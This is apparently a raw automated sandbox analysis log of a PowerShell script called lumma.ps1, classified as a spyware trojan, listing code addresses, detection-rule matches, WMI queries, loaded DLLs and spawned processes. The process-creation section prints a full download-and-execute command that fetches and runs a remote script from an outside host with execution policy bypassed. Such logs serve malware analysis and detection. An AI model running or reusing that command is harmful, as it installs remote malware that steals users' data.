Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004338D0	8_2_004338D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042C0E6	8_2_0042C0E6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004160E9	8_2_004160E9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041B8F6	8_2_0041B8F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042C09E	8_2_0042C09E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041C8A0	8_2_0041C8A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004388B0	8_2_004388B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042C09E	8_2_0042C09E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00406160	8_2_00406160
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041E960	8_2_0041E960
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00418169	8_2_00418169
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00405900	8_2_00405900
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040B100	8_2_0040B100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00426910	8_2_00426910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004281CC	8_2_004281CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004409E0	8_2_004409E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042C9EB	8_2_0042C9EB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042E180	8_2_0042E180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043F18B	8_2_0043F18B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004291AE	8_2_004291AE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004239B9	8_2_004239B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043CA40	8_2_0043CA40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00435A4F	8_2_00435A4F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043DA4D	8_2_0043DA4D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00404270	8_2_00404270
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041E220	8_2_0041E220
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FA20	8_2_0043FA20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00419AD0	8_2_00419AD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004242D0	8_2_004242D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00439A80	8_2_00439A80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00428ABC	8_2_00428ABC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040AB40	8_2_0040AB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00421340	8_2_00421340
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042F377	8_2_0042F377
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00409310	8_2_00409310
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FB10	8_2_0043FB10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FB2A	8_2_0043FB2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FB28	8_2_0043FB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040F3C0	8_2_0040F3C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004073D0	8_2_004073D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004283D8	8_2_004283D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041EB80	8_2_0041EB80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00404BA0	8_2_00404BA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043A440	8_2_0043A440
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00440460	8_2_00440460
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041747D	8_2_0041747D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00433C10	8_2_00433C10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004204C6	8_2_004204C6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004224E0	8_2_004224E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040D4F3	8_2_0040D4F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00431CF0	8_2_00431CF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00414CA0	8_2_00414CA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042CD4C	8_2_0042CD4C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042CD5E	8_2_0042CD5E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00424560	8_2_00424560
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FD70	8_2_0043FD70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00440D20	8_2_00440D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00411D2B	8_2_00411D2B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00426D2E	8_2_00426D2E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00439D30	8_2_00439D30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042C53C	8_2_0042C53C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043A5D4	8_2_0043A5D4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004065F0	8_2_004065F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043CDF0	8_2_0043CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00437DA9	8_2_00437DA9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00438650	8_2_00438650
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042EE63	8_2_0042EE63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00420E6C	8_2_00420E6C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00422E6D	8_2_00422E6D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042FE74	8_2_0042FE74
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043FE00	8_2_0043FE00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040F60D	8_2_0040F60D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041961B	8_2_0041961B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041E630	8_2_0041E630
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004246D0	8_2_004246D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004406F0	8_2_004406F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00402EB0	8_2_00402EB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041AEB0	8_2_0041AEB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00427740	8_2_00427740
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00412750	8_2_00412750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041DF50	8_2_0041DF50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00416F52	8_2_00416F52
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00425F1B	8_2_00425F1B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00429739	8_2_00429739
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00409780	8_2_00409780

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00414C90 appears 77 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 00407F60 appears 40 times

Source: Process Memory Space: powershell.exe PID: 7432, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7792, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winPS1@7/8@2/2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00439280 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

8_2_00439280

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7440:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dgz320r3.hoq.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\lumma.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))}
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://cdn1.klipbazyxui.shop/singl5.csx'))}	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
